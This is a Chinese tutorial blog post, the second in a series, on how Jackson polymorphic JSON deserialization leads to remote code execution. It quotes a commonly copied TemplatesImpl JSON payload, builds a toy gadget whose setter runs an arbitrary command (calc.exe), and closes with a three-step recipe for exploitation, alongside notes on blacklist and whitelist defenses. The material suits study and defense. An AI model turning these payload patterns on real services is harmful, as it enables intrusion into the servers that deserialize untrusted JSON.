之前有段时间在搞jackson反序列化漏洞的检测,网上看到各种各样的文章,很多抄来抄去的,真是辣鸡,虽然我不懂,但也知道他们有些人在胡扯。本系列文章系统地介绍java里的json反序列化漏洞成因、防御方式、检测方式、利用方式。因为本人接触这些不久,如有错误,还请大佬留言指正。
本文是第二篇,讲为什么反序列化时候有被代码执行的风险。
一、为什么可以代码执行
接上篇,我们对于 Person 的定义是
1 2 3 4 5 6 7 8 9 |
class Person { public int age; public String name = "default"; public Dna dna; Person() { System.out.println("Person.init()"); } } |
在反序列化 Dna 的过程中,会走一遍 Dna 的构造方法和setter。
这时候搞一个骚操作,如果我们代码指定的是 Dna 类型的字段,但json的字符串里,说这是个 Dnb 字段,会发生什么呢?按理说会报个type error对吧!
1 2 3 4 5 6 7 8 9 10 11 12 13 |
Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException: Class com.leadroyal.example.Dnb not subtype of [simple type, class com.leadroyal.example.Dna] (through reference chain: com.leadroyal.example.Person["dna"]) at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:379) at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:339) at com.fasterxml.jackson.databind.deser.BeanDeserializerBase.wrapAndThrow(BeanDeserializerBase.java:1514) at com.fasterxml.jackson.databind.deser.BeanDeserializer.vanillaDeserialize(BeanDeserializer.java:262) at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:125) at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize(AsArrayTypeDeserializer.java:110) at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromObject(AsArrayTypeDeserializer.java:58) at com.fasterxml.jackson.databind.deser.BeanDeserializerBase.deserializeWithType(BeanDeserializerBase.java:1021) at com.fasterxml.jackson.databind.deser.impl.TypeWrappedDeserializer.deserialize(TypeWrappedDeserializer.java:63) at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:3807) at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:2797) at com.leadroyal.example.Hello.main(Hello.java:21) |
果然报了个type-error,如果思路更敏感一点,会注意到 Dnb 这个类的构造方法并没有被执行。如果是先构造、再比较类型的话,那真是太刺激了,RCE都完了,你告诉我type-error,还有什么用吗?哈哈。。。
如果我们把这个地方替换成 Object呢?
1 2 3 4 5 6 7 8 9 |
class Person { public int age; public String name = "default"; public Object dna; Person() { System.out.println("Person.init()"); } } |
1 2 3 4 5 |
["com.leadroyal.example.Person",{"age":10,"name":"Alice","dna":["com.leadroyal.example.Dna",{"length":100}]}] Person.age=10, Person.name=Alice, com.leadroyal.example.Dna@7c16905e ["com.leadroyal.example.Person",{"age":10,"name":"Alice","dna":["com.leadroyal.example.Dnb",{"length":100}]}] Person.age=10, Person.name=Alice, com.leadroyal.example.Dnb@2a2d45ba |
这时候可以发现,当我们给的json里指定是 Dna 和 Dnb ,都可以被反序列化出来,并且通过打印的日志,可以确定是正常执行的。
在反序列化时候,字符串里存放的信息就可以指定这个 Object 到底是什么,从而走指定的类构造和setter。
这时候就可以看网上流行的一些exp了,虽然我没有成功过(所以也有了第二部分:【如何写一个gadget出来】)。随便搜一个被人们抄来抄去的(反正我不知道出处,就不标明了):
1 2 3 4 5 6 7 8 9 |
{'id': 124, 'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl', { 'transletBytecodes' : [ 'AAIAZQ==' ], 'transletName' : 'a.b', 'outputProperties' : { } } ] } |
看起来,就是指定到了JDK里的一个叫 TemplatesImpl 这个类上,反序列化过程中,似乎执行了啥东西,反正看不懂,不管了,大概就是这个意思:代码里存在某些善意/恶意的class,在被反序列化时会执行一些东西。而大部分人写代码时候,肯定不会在自己的bean里写一个 TemplatesImpl 的父类,但注意, Object 是任意类的父类,所以就给了攻击者一个入口。
二、如何写一个gadget出来
既然找不到能用的exp,我也不知道如何日站,就自己写着玩吧!
因为上面的 Person 里包含 Object 字段,就拿它下手吧,目的是,反序列化一个名为 Vuln 的class,在反序列化过程中进行代码执行。
根据之前讲过的知识,反序列化先走构造方法,再走setter。对于无参的构造方法,肯定无法代码执行,所以将注意力集中在setter上面。
1 2 3 4 5 6 7 8 9 10 11 12 13 |
class Vuln { String cmd; Vuln() { System.out.println("Vuln.init()"); } public void setCmd(String cmd) throws IOException { this.cmd = cmd; System.out.println(String.format("Vuln.setCmd(%s)", cmd)); Runtime.getRuntime().exec(cmd); } } |
1 2 3 4 5 |
["com.leadroyal.example.Person",{"age":10,"name":"Alice","object":["com.leadroyal.example.Vuln",{"cmd":"calc.exe"}]}] Person.init() Vuln.init() Vuln.setCmd(calc.exe) Person.age=10, Person.name=Alice, com.leadroyal.example.Vuln@2a2d45ba |
这时候就可以自己弹自己的计算器了,执行任意命令,是不是很简单。。。
当然,在实际的线上业务中,没有人会给你写 Vuln出来,这个 Vuln就叫gadget。但开发者不会在代码里写,不代表依赖库不会在代码里写,这也就是一些jackson上面的黑名单机制了,在反序列化时,如果发现有使用 TemplatesImpl 等类型,有代码执行的趋势,就会拒绝此次反序列化,从而防止被攻击。
当然,更好的处理方式是使用白名单,但目前主流的jackson还没人这么用,估计还可以打一段时间。
三、总结
代码执行分三步,
第一步先找到能控制的输入点,
第二步确认该类是否可以被攻击,
第三步寻找依赖库里的gadget。